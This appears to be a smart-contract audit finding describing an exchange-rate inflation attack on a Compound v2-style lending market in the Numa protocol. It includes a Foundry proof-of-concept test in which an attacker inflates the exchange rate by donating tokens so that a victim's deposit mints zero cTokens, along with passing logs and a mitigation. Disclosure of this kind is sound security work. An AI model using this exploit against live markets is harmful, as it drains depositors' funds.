Cool Daffodil Cormorant

High

# INFLATION ATTACKS

### Summary

This vulnerability has existed in the Compound v2 code since its launch,
presenting itself when markets are launched with a collateral value in
place but no depositors or following markets becoming empty due to user
withdrawal post-launch.
This issue exploits a rounding error that is present in the [redeemFresh()](https://github.com/sherlock-audit/2024-12-numa-audit/blob/main/Numa/contracts/lending/CToken.sol#L608)
function. 
More specifically:

```solidity
redeemTokens = div_(redeemAmountIn, exchangeRate);
```

This is achieved by donating a large amount of the underlying asset to
the market contract, manipulating the `exchangeRate`.


### Root Cause

_No response_

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

_No response_

### Impact

* Legitimate users to lose the majority of their depositsâ€™ value due to reduced `cToken` issuance.
* The attacker to profit by redeeming their `cTokens` at an artificially high value, draining the protocol's reserves of the underlying asset.

### PoC

write this test in Lending.t.sol

```solidity
function test_exploit_exchange_rate_inflation() public {
        address attacker = userA;
        address legitimateUser = userB;

        deal(address(numa), attacker, 10_000_000e18);
        deal(address(numa), legitimateUser, 1_000_000e18);

        console.log("Initial exchange rate: ", cNuma.exchangeRateStored());
        console.log("Initial total supply: ", cNuma.totalSupply());

        // Attacker mints a small amount to initialize the market
        vm.startPrank(attacker);
        numa.approve(address(cNuma), type(uint256).max);
        cNuma.mint(4e8); // Small mint
        vm.stopPrank();

        console.log("Post-mint attacker cToken balance: ", cNuma.balanceOf(attacker));
        console.log("Post-mint total supply: ", cNuma.totalSupply());

        // Attacker donates a large amount to inflate the exchange rate
        vm.startPrank(attacker);
        numa.transfer(address(cNuma), 9_999_999e18);
        vm.stopPrank();

        console.log("After donation, cToken cash: ", cNuma.getCash());
        console.log("After donation, exchange rate: ", cNuma.exchangeRateStored());

        // Legitimate user attempts to mint tokens
        vm.startPrank(legitimateUser);
        numa.approve(address(cNuma), type(uint256).max);
        uint256 userMintAmount = 1_000_000e18;
        uint256 mintResult = cNuma.mint(userMintAmount);
        console.log("Legitimate user mint result: ", mintResult);
        vm.stopPrank();

        uint256 legitimateUserCTokenBalance = cNuma.balanceOf(legitimateUser);
        console.log("Legitimate user cToken balance: ", legitimateUserCTokenBalance);

        assertEq(legitimateUserCTokenBalance, 0, "Legitimate user should receive 0 cTokens due to inflation");

        console.log("Total supply after legitimate mint attempt: ", cNuma.totalSupply());
        // Attacker redeems at the inflated rate
        vm.startPrank(attacker);
        uint256 attackerInitialNumaBalance = numa.balanceOf(attacker);
        cNuma.redeem(1);
        uint256 attackerFinalNumaBalance = numa.balanceOf(attacker);
        vm.stopPrank();

        console.log("Attacker NUMA balance after redeem: ", attackerFinalNumaBalance);
        console.log("Total supply after redemption: ", cNuma.totalSupply());

        assertGt(
            attackerFinalNumaBalance,
            attackerInitialNumaBalance,
            "Attacker should gain a large profit from the inflation attack"
        );
    }
```

```solidity
[PASS] test_exploit_exchange_rate_inflation() (gas: 729663)
Logs:
  LENDING TEST
  price reth/numa 1000000000000000000
  Initial exchange rate:  200000000000000000000000000
  Initial total supply:  0
  Post-mint attacker cToken balance:  2
  Post-mint total supply:  2
  After donation, cToken cash:  9999999000000000400000000
  After donation, exchange rate:  4999999500000000200000000000000000000000000
  Legitimate user mint result:  0
  Legitimate user cToken balance:  0
  Total supply after legitimate mint attempt:  2
  redeem? 0
  Attacker NUMA balance after redeem:  5500000499999999800000000
  Total supply after redemption:  1
```

### Mitigation

It is recommended to ensure that markets are never empty by minting
small `cToken`  balances at the time of market creation,
preventing the rounding error being used maliciously. A possible approach
is following [UniswapV2 implementation](https://github.com/Uniswap/v2-core/blob/ee547b17853e71ed4e0101ccfd52e70d5acded58/contracts/UniswapV2Pair.sol#L121) that permanently locks the first
`MINIMUM_LIQUIDITY` tokens.
